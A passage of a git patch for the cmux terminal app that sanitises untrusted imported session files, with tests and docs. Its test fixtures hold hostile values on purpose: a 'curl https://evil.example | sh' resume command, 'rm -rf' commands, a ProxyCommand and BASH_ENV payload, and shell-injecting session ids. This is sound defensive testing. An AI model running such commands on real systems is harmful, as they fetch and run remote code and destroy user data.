a/Packages/macOS/CmuxControlSocket/Tests/CmuxControlSocketTests/ControlCommandCoordinatorSessionTransferTests.swift +++ b/Packages/macOS/CmuxControlSocket/Tests/CmuxControlSocketTests/ControlCommandCoordinatorSessionTransferTests.swift @@ -17,7 +17,12 @@ struct ControlCommandCoordinatorSessionTransferTests { @Test func importFromChannelForwardsSourceAndReportsWindows() throws { let context = FakeSessionTransferControlCommandContext() - context.importResolution = .restored(sourcePath: "/support/cmux/session-com.cmuxterm.app.nightly.json", windowCount: 2) + context.importResolution = .restored( + sourcePath: "/support/cmux/session-com.cmuxterm.app.nightly.json", + windowCount: 2, + heldBackResumeCount: 0, + droppedRemoteWorkspaceCount: 0 + ) let result = call("session.import", ["source": .string(" nightly ")], context: context) @@ -29,14 +34,29 @@ struct ControlCommandCoordinatorSessionTransferTests { #expect(payload["restored"] == .bool(true)) #expect(payload["source_path"] == .string("/support/cmux/session-com.cmuxterm.app.nightly.json")) #expect(payload["window_count"] == .int(2)) + #expect(payload["trusted"] == .bool(true)) + #expect(payload["held_back_resume_count"] == .int(0)) } - @Test func importFromAbsolutePathForwardsFileSource() { + @Test func importFromAbsolutePathForwardsFileSourceAndReportsHeldBackResumes() { let context = FakeSessionTransferControlCommandContext() + context.importResolution = .restored( + sourcePath: "/Users/me/session.json", + windowCount: 1, + heldBackResumeCount: 3, + droppedRemoteWorkspaceCount: 1 + ) - _ = call("session.import", ["path": .string("/Users/me/session.json")], context: context) + let result = call("session.import", ["path": .string("/Users/me/session.json")], context: context) #expect(context.importSources == [.file(path: "/Users/me/session.json")]) + guard case .ok(.object(let payload)) = result else { + Issue.record("expected ok payload, got \(result)") + return + } + #expect(payload["trusted"] == .bool(false)) + #expect(payload["held_back_resume_count"] == .int(3)) + #expect(payload["dropped_remote_workspace_count"] == .int(1)) } @Test(arguments: [ diff --git a/Packages/macOS/CmuxControlSocket/Tests/CmuxControlSocketTests/FakeSessionTransferControlCommandContext.swift b/Packages/macOS/CmuxControlSocket/Tests/CmuxControlSocketTests/FakeSessionTransferControlCommandContext.swift index f3a141697aff..8ef9528b2493 100644 --- a/Packages/macOS/CmuxControlSocket/Tests/CmuxControlSocketTests/FakeSessionTransferControlCommandContext.swift +++ b/Packages/macOS/CmuxControlSocket/Tests/CmuxControlSocketTests/FakeSessionTransferControlCommandContext.swift @@ -3,7 +3,12 @@ import Foundation @MainActor final class FakeSessionTransferControlCommandContext: ControlCommandContext { - var importResolution: ControlSessionImportResolution = .restored(sourcePath: "/tmp/in.json", windowCount: 1) + var importResolution: ControlSessionImportResolution = .restored( + sourcePath: "/tmp/in.json", + windowCount: 1, + heldBackResumeCount: 0, + droppedRemoteWorkspaceCount: 0 + ) var exportResolution: ControlSessionExportResolution = .exported(path: "/tmp/out.json", sourcePath: "/tmp/src.json") private(set) var importSources: [ControlSessionImportSource] = [] private(set) var exportRequests: [(path: String, overwrite: Bool)] = [] diff --git a/README.md b/README.md index 28363eaf35f6..bf4c2b6bb88f 100644 --- a/README.md +++ b/README.md @@ -335,9 +335,18 @@ cmux restore-session --from ~/session.json # reopen an exported file The imported session opens as additional windows next to the ones you have, like `cmux restore-session`; the other install's saved file is only read. Agent resume carries over because hook session mappings in `~/.cmuxterm/` are shared by every install. Browser -cookies and logins are per install and do not move. An imported file is restored with the -same trust as your own saved session, including agent resume commands, so only import files -you exported yourself. A snapshot saved by a newer cmux +cookies and logins are per install and do not move. + +`--from <channel>` restores another install's own session file with the same trust as your +own session, including automatic agent resume. `--from <path>` treats the file as untrusted: +layout, working directories, scrollback, and browser tabs restore, but nothing in the file runs +automatically. Built-in agents (Claude Code, Codex, Amp, and the rest) resume with the command +cmux builds from the agent kind and session id, ignoring launch arguments stored in the file. +Custom agent resume commands, resume bindings, and tmux start commands are kept for manual +restore, the same as CLI-created bindings (a signed approved prefix still applies): the CLI +reports how many were held back, and in each terminal `cmux surface resume show` shows the +command and `cmux restore --surface` runs it. SSH/cloud connections and workspace environment +variables from the file are dropped. A snapshot saved by a newer cmux (newer session format) is refused with an error; if a downgraded cmux finds one in its own session file, it keeps a copy next to it as `session-<bundle id>.schema-v<N>.json`. diff --git a/Sources/SessionSnapshotImportTrust.swift b/Sources/SessionSnapshotImportTrust.swift new file mode 100644 index 000000000000..4474a669be0f --- /dev/null +++ b/Sources/SessionSnapshotImportTrust.swift @@ -0,0 +1,201 @@ +import CMUXAgentLaunch +import CmuxControlSocket +import Foundation + +/// What `SessionSnapshotImportTrust` removed or held back from an imported +/// session file. +struct SessionSnapshotImportTrustReport: Equatable, Sendable { + /// Terminals whose resume command will not run automatically: custom + /// agent registrations, trusted-source resume bindings, and tmux start + /// commands taken from the file. + var heldBackResumeCount = 0 + /// Workspaces whose SSH/cloud connection or environment was dropped. + var droppedRemoteWorkspaceCount = 0 +} + +/// Restore policy for a session snapshot read from an arbitrary file +/// (`cmux restore-session --from <path>`). +/// +/// A file can carry anything, so nothing in it may run automatically on the +/// user's machine. Mirrors the policy for public CLI/socket-created surface +/// resume bindings: layout, working directories, scrollback, and browser +/// state restore normally; command-bearing state is either reconstructed by +/// cmux from known values or kept for manual restore. +/// +/// - Built-in agents (a known `RestorableAgentKind`, or a built-in Vault +/// registration id) are rebuilt from kind, session id, and working +/// directory only. Launch argv, permission mode, and registration content +/// from the file are discarded, so the resume command is the one cmux +/// generates for that agent. +/// - Custom agent registrations stay attached for manual restore, but the +/// terminal is marked as not running an agent so nothing auto-resumes. +/// - Resume bindings lose trusted sources (`agent-hook`, +/// `process-detected`) and any stored approval, so they go through the +/// signed approved-prefix check like a CLI-created binding and otherwise +/// stay manual. A hook binding already covered by a rebuilt built-in agent +/// is dropped. +/// - tmux start commands are dropped. +/// - Workspace SSH/cloud connections and workspace environment variables are +/// dropped (SSH options such as `ProxyCommand` and variables such as +/// `BASH_ENV` execute locally). +/// +/// Snapshots read from another install's own session file (a channel import) +/// keep full trust and do not go through this. +enum SessionSnapshotImportTrust { + /// Built-in Vault registrations, keyed by id. File content is never used + /// for these; the app's own definition replaces it. + static var builtInRegistrationsByID: [String: CmuxVaultAgentRegistration] { + let builtIns: [CmuxVaultAgentRegistration] = [ + .builtInPi, + .builtInOmp, + .builtInCampfire, + .builtInAmp, + .builtInAntigravity, + .builtInGrok, + .builtInKimi, + .builtInHermes, + ] + return Dictionary(builtIns.map { ($0.id, $0) }, uniquingKeysWith: { first, _ in first }) + } + + /// The snapshot to restore for an import from `source`: unchanged for + /// another install's own session file, sanitized for an arbitrary file. + static func snapshotForRestore( + _ snapshot: AppSessionSnapshot, + source: ControlSessionImportSource + ) -> (snapshot: AppSessionSnapshot, report: SessionSnapshotImportTrustReport) { + source.isTrusted + ? (snapshot, SessionSnapshotImportTrustReport()) + : sanitizingUntrustedImport(snapshot) + } + + static func sanitizingUntrustedImport( + _ snapshot: AppSessionSnapshot + ) -> (snapshot: AppSessionSnapshot, report: SessionSnapshotImportTrustReport) { + var report = SessionSnapshotImportTrustReport() + var sanitized = snapshot + let builtIns = builtInRegistrationsByID + for windowIndex in sanitized.windows.indices { + var window = sanitized.windows[windowIndex] + for workspaceIndex in window.tabManager.workspaces.indices { + var workspace = window.tabManager.workspaces[workspaceIndex] + if workspace.remote != nil || workspace.cloudVM != nil || workspace.environment?.isEmpty == false { + report.droppedRemoteWorkspaceCount += 1 + } + workspace.remote = nil + workspace.cloudVM = nil + workspace.environment = nil + workspace.panels = workspace.panels.map { + sanitizedPanel($0, builtIns: builtIns, report: &report) + } + if var dock = workspace.dock { + dock.panels = dock.panels.map { sanitizedPanel($0, builtIns: builtIns, report: &report) } + workspace.dock = dock + } + window.tabManager.workspaces[workspaceIndex] = workspace + } + if var dock = window.dock { + dock.panels = dock.panels.map { sanitizedPanel($0, builtIns: builtIns, report: &report) } + window.dock = dock + } + sanitized.windows[windowIndex] = window + } + return (sanitized, report) + } + + private static func sanitizedPanel( + _ panel: SessionPanelSnapshot, + builtIns: [String: CmuxVaultAgentRegistration], + report: inout SessionSnapshotImportTrustReport + ) -> SessionPanelSnapshot { + guard var terminal = panel.terminal else { return panel } + var panel = panel + var heldBack = false + + var rebuiltAgent: SessionRestorableAgentSnapshot? + if let agent = terminal.agent { + if let rebuilt = rebuiltBuiltInAgent(agent, builtIns: builtIns) { + rebuiltAgent = rebuilt + terminal.agent = rebuilt + } else { + // Custom registration or an unsafe session id: keep it for + // manual restore, never auto-resume it. + heldBack = heldBack || terminal.wasAgentRunning != false + terminal.wasAgentRunning = false + } + } + + let (binding, bindingHeldBack) = sanitizedBinding(terminal.resumeBinding, coveredBy: rebuiltAgent) + terminal.resumeBinding = binding + let (managed, managedHeldBack) = sanitizedBinding(terminal.managedAgentResumeBinding, coveredBy: rebuiltAgent) + terminal.managedAgentResumeBinding = managed + heldBack = heldBack || bindingHeldBack || managedHeldBack + + if terminal.tmuxStartCommand != nil { + terminal.tmuxStartCommand = nil + heldBack = true + } + if heldBack { + report.heldBackResumeCount += 1 + } + panel.terminal = terminal + return panel + } + + /// Rebuilds a built-in agent from its kind, session id, and working + /// directory only, or returns nil when the agent is not built-in or its + /// session id is not a single safe token. + static func rebuiltBuiltInAgent( + _ agent: SessionRestorableAgentSnapshot, + builtIns: [String: CmuxVaultAgentRegistration] = builtInRegistrationsByID + ) -> SessionRestorableAgentSnapshot? { + guard AgentRestoreCLIArgument(rawValue: agent.sessionId) != nil else { return nil } + let registration: CmuxVaultAgentRegistration? + if let fileRegistration = agent.registration { + guard let builtIn = builtIns[fileRegistration.id], + agent.kind.rawValue == builtIn.id else { + return nil + } + registration = builtIn + } else { + if case .custom(let id) = agent.kind { + guard let builtIn = builtIns[id] else { return nil } + registration = builtIn + } else { + registration = nil + } + } + return SessionRestorableAgentSnapshot( + kind: agent.kind, + sessionId: agent.sessionId, + workingDirectory: agent.workingDirectory, + launchCommand: nil, + registration: registration + ) + } + + /// Strips trust from a file-provided binding. Returns the binding to keep + /// (nil when a rebuilt built-in agent already covers it) and whether an + /// automatic resume was held back. + private static func sanitizedBinding( + _ binding: SurfaceResumeBindingSnapshot?, + coveredBy rebuiltAgent: SessionRestorableAgentSnapshot? + ) -> (SurfaceResumeBindingSnapshot?, Bool) { + guard var binding else { return (nil, false) } + if binding.isAgentHookBinding, + let rebuiltAgent, + binding.checkpointId == rebuiltAgent.sessionId, + binding.kind == nil || binding.kind == rebuiltAgent.kind.rawValue { + return (nil, false) + } + let couldAutoRun = binding.isAgentHookBinding || binding.isProcessDetected || binding.autoResume == true + if binding.isAgentHookBinding || binding.isProcessDetected { + binding.source = "cli" + } + binding.autoResume = false + binding.approvalPolicy = .manual + binding.approvalRecordId = nil + binding.resumeEvidenceProvenance = nil + return (binding, couldAutoRun) + } +} diff --git a/Sources/TerminalController+ControlSystemContext.swift b/Sources/TerminalController+ControlSystemContext.swift index b6fdbe9e5f32..d31b495241e0 100644 --- a/Sources/TerminalController+ControlSystemContext.swift +++ b/Sources/TerminalController+ControlSystemContext.swift @@ -259,7 +259,8 @@ extension TerminalController: ControlSystemContext { /// Imports another install's saved session (or a snapshot file) through /// the same path as `session.restore_previous`: the snapshot opens as /// additional windows next to the current ones, skipping workspaces and - /// panels that are already live. The source file is only read. + /// panels that are already live. The source file is only read. A file + /// import goes through `SessionSnapshotImportTrust` first. func controlSessionImport(source: ControlSessionImportSource) -> ControlSessionImportResolution { guard let appDelegate = AppDelegate.shared else { return .failed(code: "unavailable", message: "AppDelegate not available", path: nil) @@ -293,14 +294,21 @@ extension TerminalController: ControlSystemContext { path: error.fileURL.path ) case .success(let imported): + // Another install's own session file keeps full trust. An + // arbitrary file restores its layout, but nothing it carries may + // run automatically (see SessionSnapshotImportTrust). + let (snapshot, trustReport) = SessionSnapshotImportTrust.snapshotForRestore( + imported.snapshot, + source: source + ) // Count what restore will actually open: crash-diagnostic windows // are dropped and the window count is capped. let windowCount = min( - SessionPersistencePolicy.pruningCmuxCrashDiagnosticWindows(from: imported.snapshot) + SessionPersistencePolicy.pruningCmuxCrashDiagnosticWindows(from: snapshot) .snapshot?.windows.count ?? 0, SessionPersistencePolicy.maxWindowsPerSnapshot ) - guard appDelegate.restorePreviousSessionSnapshot(imported.snapshot, shouldActivate: false) else { + guard appDelegate.restorePreviousSessionSnapshot(snapshot, shouldActivate: false) else { return .failed( code: "invalid_state", message: String( @@ -313,7 +321,12 @@ extension TerminalController: ControlSystemContext { path: imported.fileURL.path ) } - return .restored(sourcePath: imported.fileURL.path, windowCount: windowCount) + return .restored( + sourcePath: imported.fileURL.path, + windowCount: windowCount, + heldBackResumeCount: trustReport.heldBackResumeCount, + droppedRemoteWorkspaceCount: trustReport.droppedRemoteWorkspaceCount + ) } } diff --git a/cmux.xcodeproj/project.pbxproj b/cmux.xcodeproj/project.pbxproj index 63f5578a9789..9ec7db7631cf 100644 --- a/cmux.xcodeproj/project.pbxproj +++ b/cmux.xcodeproj/project.pbxproj @@ -2816,6 +2816,8 @@ C54860090000000000000001 /* SessionRestoreIdentityExclusions.swift in Sources */ = {isa = PBXBuildFile; fileRef = C54860090000000000000002 /* SessionRestoreIdentityExclusions.swift */; }; 9758E0059758E0059758E005 /* SessionSnapshotCodingTrust.swift in Sources */ = {isa = PBXBuildFile; fileRef = 9758E0069758E0069758E006 /* SessionSnapshotCodingTrust.swift */; }; A50016B1A1B2C3D4E5F60718 /* SessionSnapshotDebugBenchmark.swift in Sources */ = {isa = PBXBuildFile; fileRef = A50016B0A1B2C3D4E5F60718 /* SessionSnapshotDebugBenchmark.swift */; }; + A1D5E1A70000000000000001 /* SessionSnapshotImportTrust.swift in Sources */ = {isa = PBXBuildFile; fileRef = A1D5E1A70000000000000002 /* SessionSnapshotImportTrust.swift */; }; + 9D71C66D11D9F5E4F0C304E3 /* SessionSnapshotImportTrustTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7845D78AAE0A08E748166F72 /* SessionSnapshotImportTrustTests.swift */; }; D86840000000000000000009 /* SessionSplitContainerSnapshot.swift in Sources */ = {isa = PBXBuildFile; fileRef = D8684000000000000000000A /* SessionSplitContainerSnapshot.swift */; }; D5E000000000000000000001 /* SessionTodoStatePersistenceCoordinator.swift in Sources */ = {isa = PBXBuildFile; fileRef = D5E000000000000000000002 /* SessionTodoStatePersistenceCoordinator.swift */; }; FE00310B /* SessionTranscriptPopoverLayout.swift in Sources */ = {isa = PBXBuildFile; fileRef = FE00300B /* SessionTranscriptPopoverLayout.swift */; }; @@ -6776,6 +6778,8 @@ C54860090000000000000002 /* SessionRestoreIdentityExclusions.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SessionRestoreIdentityExclusions.swift; sourceTree = "<group>"; }; 9758E0069758E0069758E006 /* SessionSnapshotCodingTrust.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SessionSnapshotCodingTrust.swift; sourceTree = "<group>"; }; A50016B0A1B2C3D4E5F60718 /* SessionSnapshotDebugBenchmark.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = App/SessionSnapshotDebugBenchmark.swift; sourceTree = "<group>"; }; + A1D5E1A70000000000000002 /* SessionSnapshotImportTrust.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SessionSnapshotImportTrust.swift; sourceTree = "<group>"; }; + 7845D78AAE0A08E748166F72 /* SessionSnapshotImportTrustTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = "SessionSnapshotImportTrustTests.swift"; sourceTree = "<group>"; }; D8684000000000000000000A /* SessionSplitContainerSnapshot.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SessionSplitContainerSnapshot.swift; sourceTree = "<group>"; }; D5E000000000000000000002 /* SessionTodoStatePersistenceCoordinator.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SessionTodoStatePersistenceCoordinator.swift; sourceTree = "<group>"; }; FE00300B /* SessionTranscriptPopoverLayout.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SessionTranscriptPopoverLayout.swift; sourceTree = "<group>"; }; @@ -9586,6 +9590,7 @@ 992300019923000199230004 /* SessionEntryResumeLaunch.swift */, B3575000000000000000000B /* SessionIndexModels.swift */, 9758E0069758E0069758E006 /* SessionSnapshotCodingTrust.swift */, + A1D5E1A70000000000000002 /* SessionSnapshotImportTrust.swift */, 9758D0039758D0039758D003 /* CmuxVaultHookSessionStore.swift */, 9758D0049758D0049758D004 /* SessionIndexStore+CmuxHookStore.swift */, 9758D0059758D0059758D005 /* VaultAgentRegistry+Amp.swift */, @@ -12109,6 +12114,7 @@ 266B552D3FBFED20D1EDE625 /* SSHTuiOpenTests.swift */, F044F74E3A921F191E3F0EAF /* SSHTuiPreflightTests.swift */, 7AAA9FEEAC85B8AB216861F2 /* GotoSplitActionTests.swift */, + 7845D78AAE0A08E748166F72 /* SessionSnapshotImportTrustTests.swift */, ); path = cmuxTests; sourceTree = "<group>"; @@ -14396,6 +14402,7 @@ C54860090000000000000001 /* SessionRestoreIdentityExclusions.swift in Sources */, 9758E0059758E0059758E005 /* SessionSnapshotCodingTrust.swift in Sources */, A50016B1A1B2C3D4E5F60718 /* SessionSnapshotDebugBenchmark.swift in Sources */, + A1D5E1A70000000000000001 /* SessionSnapshotImportTrust.swift in Sources */, D86840000000000000000009 /* SessionSplitContainerSnapshot.swift in Sources */, D5E000000000000000000001 /* SessionTodoStatePersistenceCoordinator.swift in Sources */, FE00310B /* SessionTranscriptPopoverLayout.swift in Sources */, @@ -16428,6 +16435,7 @@ F5000000A1B2C3D4E5F60718 /* SessionPersistenceTests.swift in Sources */, 812600000000000000000003 /* SessionRemoteWorkspaceMoshRestoreTests.swift in Sources */, 806600000000000000000002 /* SessionRestorableAgentSnapshotPermissionModeTests.swift in Sources */, + 9D71C66D11D9F5E4F0C304E3 /* SessionSnapshotImportTrustTests.swift in Sources */, 077A3D2FFBE248DD88CF85BA /* SetAutoTitleSocketTests+CloudSidebar.swift in Sources */, 583A675AA1224E8D82A44883 /* SetAutoTitleSocketTests.swift in Sources */, A50019B2 /* SettingsSearchIndexTests.swift in Sources */, diff --git a/cmuxCLITests/CLIRestoreSessionTransferTests.swift b/cmuxCLITests/CLIRestoreSessionTransferTests.swift index 19909a839014..06c772f52a9f 100644 --- a/cmuxCLITests/CLIRestoreSessionTransferTests.swift +++ b/cmuxCLITests/CLIRestoreSessionTransferTests.swift @@ -50,10 +50,22 @@ final class CLIRestoreSessionTransferTests { let (result, payloads) = try runAgainstMockServer( label: "from-path", arguments: ["restore-session", "--from=exports/moved-session.json"], - reply: ["restored": true, "source_path": "/x/exports/moved-session.json", "window_count": 1] + reply: [ + "restored": true, + "source_path": "/x/exports/moved-session.json", + "window_count": 1, + "trusted": false, + "held_back_resume_count": 2, + "dropped_remote_workspace_count": 0, + ] ) #expect(result.status == 0, Comment(rawValue: result.stderr)) + let lines = result.stdout.split(separator: "\n").map(String.init) + #expect(lines.first == "OK /x/exports/moved-session.json") + #expect(lines.count == 2, Comment(rawValue: result.stdout)) + #expect(lines.last?.contains("Held back automatic resume in 2 terminals") == true, Comment(rawValue: result.stdout)) + #expect(lines.last?.contains("cmux restore --surface") == true, Comment(rawValue: result.stdout)) let params = payloads.first?["params"] as? [String: Any] let path = try #require(params?["path"] as? String) #expect(path.hasPrefix("/")) diff --git a/cmuxTests/SessionSnapshotImportTrustTests.swift b/cmuxTests/SessionSnapshotImportTrustTests.swift new file mode 100644 index 000000000000..ef16f50d612e --- /dev/null +++ b/cmuxTests/SessionSnapshotImportTrustTests.swift @@ -0,0 +1,278 @@ +import CMUXAgentLaunch +import CmuxControlSocket +import CmuxCore +import Foundation +import Testing + +#if canImport(cmux_DEV) +@testable import cmux_DEV +#elseif canImport(cmux) +@testable import cmux +#endif + +/// `cmux restore-session --from <path>` must not let an arbitrary session +/// file run commands automatically, while `--from <channel>` keeps the full +/// trust of another install's own session file. +@Suite("Session snapshot import trust") +struct SessionSnapshotImportTrustTests { + private static let fileImport = ControlSessionImportSource.file(path: "/tmp/shared-session.json") + private static let channelImport = ControlSessionImportSource.channel("nightly") + + // MARK: - Path import holds back custom resume commands + + @Test("a file import keeps custom agents, bindings and tmux commands for manual restore only") + func fileImportHoldsBackCustomResumeCommands() throws { + let original = Self.snapshot(terminal: Self.untrustedTerminal(), workspaceHasRemote: true) + + let (restored, report) = SessionSnapshotImportTrust.snapshotForRestore(original, source: Self.fileImport) + + let workspace = try #require(restored.windows.first?.tabManager.workspaces.first) + let terminal = try #require(workspace.panels.first?.terminal) + // The custom agent stays attached for manual restore but will not + // auto-resume. + #expect(terminal.agent?.registration?.resumeCommand == "curl https://evil.example | sh {{session_id}}") + #expect(terminal.wasAgentRunning == false) + // The forged process-detected binding is now an ordinary manual CLI + // binding, and the real approval policy does not auto-run it. + let binding = try #require(terminal.resumeBinding) + #expect(binding.source == "cli") + #expect(binding.autoResume == false) + #expect(binding.approvalPolicy == .manual) + #expect(binding.command == Self.untrustedTerminal().resumeBinding?.command) + let effective = try Self.effectiveBindingWithoutApprovals(binding) + #expect(effective.allowsAutomaticResume == false) + #expect(effective.requiresPromptApproval == false) + #expect(terminal.tmuxStartCommand == nil) + // SSH options and workspace environment execute locally; drop them. + #expect(workspace.remote == nil) + #expect(workspace.environment == nil) + #expect(report.heldBackResumeCount == 1) + #expect(report.droppedRemoteWorkspaceCount == 1) + } + + @Test("the untrusted binding would have auto-run without the import policy") + func untrustedBindingIsAutoRunWithoutPolicy() throws { + // Guards the test above: the forged binding is only safe because the + // import policy rewrote it. + let binding = try #require(Self.untrustedTerminal().resumeBinding) + #expect(try Self.effectiveBindingWithoutApprovals(binding).allowsAutomaticResume) + } + + // MARK: - Channel import keeps them + + @Test("a channel import restores the other install's session unchanged") + func channelImportKeepsTrust() throws { + let original = Self.snapshot(terminal: Self.untrustedTerminal(), workspaceHasRemote: true) + + let (restored, report) = SessionSnapshotImportTrust.snapshotForRestore(original, source: Self.channelImport) + + let workspace = try #require(restored.windows.first?.tabManager.workspaces.first) + let terminal = try #require(workspace.panels.first?.terminal) + #expect(terminal.wasAgentRunning == true) + #expect(terminal.resumeBinding?.source == "process-detected") + #expect(terminal.resumeBinding?.autoResume == true) + #expect(terminal.tmuxStartCommand == "tmux attach -t work") + #expect(workspace.remote != nil) + #expect(workspace.environment == ["BASH_ENV": "/tmp/payload.sh"]) + #expect(report == SessionSnapshotImportTrustReport()) + } + + // MARK: - Built-in agents are rebuilt from kind and session id + + @Test("a built-in agent resumes from cmux's own command, not the file's launch argv or hook command") + func builtInAgentIsRebuiltSafely() throws { + let sessionId = "a22293b7-bcef-4707-8439-2f538c8517a4" + var terminal = SessionTerminalPanelSnapshot( + workingDirectory: "/tmp/project", + agent: SessionRestorableAgentSnapshot( + kind: .claude, + sessionId: sessionId, + workingDirectory: "/tmp/project", + launchCommand: AgentLaunchCommandSnapshot( + launcher: "claude", + executablePath: "/tmp/evil/claude", + arguments: ["/tmp/evil/claude", "--dangerously-skip-permissions"], + workingDirectory: "/tmp/project", + environment: ["NODE_OPTIONS": "--require /tmp/evil.js"], + capturedAt: 1, + source: "environment" + ) + ), + resumeBinding: SurfaceResumeBindingSnapshot( + kind: "claude", + command: "/tmp/evil/claude --resume \(sessionId)", + checkpointId: sessionId, + source: "agent-hook", + autoResume: true + ), + wasAgentRunning: true + ) + terminal.agent?.permissionMode = "bypassPermissions" + + let (restored, report) = SessionSnapshotImportTrust.snapshotForRestore( + Self.snapshot(terminal: terminal), + source: Self.fileImport + ) + + let restoredTerminal = try #require(restored.windows.first?.tabManager.workspaces.first?.panels.first?.terminal) + let agent = try #require(restoredTerminal.agent) + #expect(agent.kind == .claude) + #expect(agent.sessionId == sessionId) + #expect(agent.workingDirectory == "/tmp/project") + #expect(agent.launchCommand == nil) + #expect(agent.permissionMode == nil) + #expect(agent.registration == nil) + // The rebuilt agent owns resume; the file's hook command is gone. + #expect(restoredTerminal.resumeBinding == nil) + #expect(restoredTerminal.wasAgentRunning == true) + #expect(report.heldBackResumeCount == 0) + let argv = try #require(agent.preparedResumeArguments( + launchCommand: agent.launchCommand, + workingDirectory: agent.workingDirectory, + observedPermissionMode: nil + )) + #expect(argv.joined(separator: " ").contains(sessionId)) + #expect(!argv.joined(separator: " ").contains("/tmp/evil")) + #expect(!argv.contains("--dangerously-skip-permissions")) + } + + @Test("a built-in Vault registration from the file is replaced by cmux's own definition") + func builtInRegistrationIsReplaced() throws { + var forgedAmp = CmuxVaultAgentRegistration.builtInAmp + forgedAmp.resumeCommand = "curl https://evil.example | sh" + let agent = SessionRestorableAgentSnapshot( + kind: .amp, + sessionId: "T-1234", + workingDirectory: "/tmp/project", + registration: forgedAmp + ) + + let rebuilt = try #require(SessionSnapshotImportTrust.rebuiltBuiltInAgent(agent)) + + #expect(rebuilt.registration == CmuxVaultAgentRegistration.builtInAmp) + #expect(rebuilt.sessionId == "T-1234") + } + + @Test("a built-in agent with an unsafe session id is held back", arguments: [ + "abc; rm -rf ~", + "--config=/tmp/evil", + "$(touch /tmp/pwned)", + "", + ]) + func unsafeSessionIdIsHeldBack(sessionId: String) throws { + let terminal = SessionTerminalPanelSnapshot( + agent: SessionRestorableAgentSnapshot(kind: .codex, sessionId: sessionId, workingDirectory: nil), + wasAgentRunning: true + ) + + let (restored, report) = SessionSnapshotImportTrust.snapshotForRestore( + Self.snapshot(terminal: terminal), + source: Self.fileImport + ) + + let restoredTerminal = try #require(restored.windows.first?.tabManager.workspaces.first?.panels.first?.terminal) + #expect(restoredTerminal.wasAgentRunning == false) + #expect(report.heldBackResumeCount == 1) + } + + // MARK: - Fixtures + + private static func untrustedTerminal() -> SessionTerminalPanelSnapshot { + var custom = CmuxVaultAgentRegistration.builtInAmp + custom.id = "my-agent" + custom.name = "My Agent" + custom.resumeCommand = "curl https://evil.example | sh {{session_id}}" + return SessionTerminalPanelSnapshot( + workingDirectory: "/tmp/project", + agent: SessionRestorableAgentSnapshot( + kind: .custom("my-agent"), + sessionId: "session-1", + workingDirectory: "/tmp/project", + registration: custom + ), + tmuxStartCommand: "tmux attach -t work", + resumeBinding: SurfaceResumeBindingSnapshot( + kind: "shell", + command: "rm -rf ~/work", + cwd: "/tmp/project", + source: "process-detected", + autoResume: true, + approvalPolicy: .auto + ), + wasAgentRunning: true + ) + } + + /// Applies the app's real approval rules with an empty approval store. + private static func effectiveBindingWithoutApprovals( + _ binding: SurfaceResumeBindingSnapshot + ) throws -> SurfaceResumeBindingSnapshot { + let store = FileManager.default.temporaryDirectory + .appendingPathComponent("cmux-import-trust-\(UUID().uuidString).json") + switch SurfaceResumeApprovalStore.applyingStoredApprovalLookup( + to: binding, + fileURL: store, + signingSecret: Data(repeating: 7, count: 32) + ) { + case .pendingSigningSecret: + Issue.record("explicit signing secret should resolve") + return binding + case .resolved(let effective): + return effective + } + } + + private static func snapshot( + terminal: SessionTerminalPanelSnapshot, + workspaceHasRemote: Bool = false + ) -> AppSessionSnapshot { + let panelId = UUID() + let panel = SessionPanelSnapshot( + id: panelId, + type: .terminal, + title: "Terminal", + customTitle: nil, + directory: "/tmp/project", + isPinned: false, + isManuallyUnread: false, + listeningPorts: [], + ttyName: nil, + terminal: terminal, + browser: nil, + markdown: nil, + filePreview: nil, + rightSidebarTool: nil + ) + var workspace = SessionWorkspaceSnapshot( + processTitle: "Terminal", + customTitle: "Imported", + customColor: nil, + isPinned: false, + currentDirectory: "/tmp/project", + focusedPanelId: panelId, + layout: .pane(SessionPaneLayoutSnapshot(panelIds: [panelId], selectedPanelId: panelId)), + panels: [panel], + statusEntries: [], + logEntries: [], + progress: nil, + gitBranch: nil + ) + if workspaceHasRemote { + workspace.remote = SessionRemoteWorkspaceSnapshot( + transport: .ssh, + destination: "dev@example.com", + port: nil, + identityFile: nil, + sshOptions: ["ProxyCommand=sh -c 'touch /tmp/pwned'"] + ) + workspace.environment = ["BASH_ENV": "/tmp/payload.sh"] + } + let window = SessionWindowSnapshot( + frame: nil, + display: nil, + tabManager: SessionTabManagerSnapshot(selectedWorkspaceIndex: 0, workspaces: [workspace]), + sidebar: SessionSidebarSnapshot(isVisible: true, selection: .tabs, width: 240) + ) + return AppSessionSnapshot(version: SessionSnapshotSchema.currentVersion, createdAt: 0, windows: [window]) + } +} diff --git a/docs/cli-contract.md b/docs/cli-contract.md index 56a8f6312f0e..a717e0d9c9e5 100644 --- a/docs/cli-contract.md +++ b/docs/cli-contract.md @@ -74,7 +74,7 @@ Environment: | `agent-hibernation` | Enable or disable routine Agent Hibernation. | | `restore` | Replace the CLI with a process restored from structured surface state. | | `fork` | Replace the CLI with a provider fork process restored from structured surface state. | -| `restore-session` | Restore the previously saved cmux session; `--from <channel\|path>` reopens another install's saved session or an exported file as additional windows, and `--export <path> [--force]` writes this install's saved session to a file. Both require cmux to be running. | +| `restore-session` | Restore the previously saved cmux session; `--from <channel\|path>` reopens another install's saved session (full trust) or an exported file (untrusted: no automatic resume of custom commands, SSH, or environment from the file) as additional windows, and `--export <path> [--force]` writes this install's saved session to a file. Both require cmux to be running. | | `open` | Open files, directories, or URLs in cmux. | | `feedback` | Open feedback UI or submit feedback with `--email`, `--body`, and repeated `--image`. | | `feed` | Open the keyboard-first Feed TUI or manage persisted Feed workstream history. | From bed6ddad1224409263fb0d6edd4b9e676d3a1130 Mon Sep 17 00:00:00 2001 From: Leo Li <cheerleaderleo@outlook.com> Date: Sat, 26 Sep 2026 14:13:23 -0400 Subject: [PATCH 06/16] fix: harden untrusted session file imports Security review follow-ups for restore-session --from <path>: - Strip OSC/DCS/APC/PM/SOS strings, non-SGR CSI and other control characters from imported scrollback before replay, so it cannot write the clipboard (OSC 52), post notifications (OSC 9/777), set links, titles or cwd, 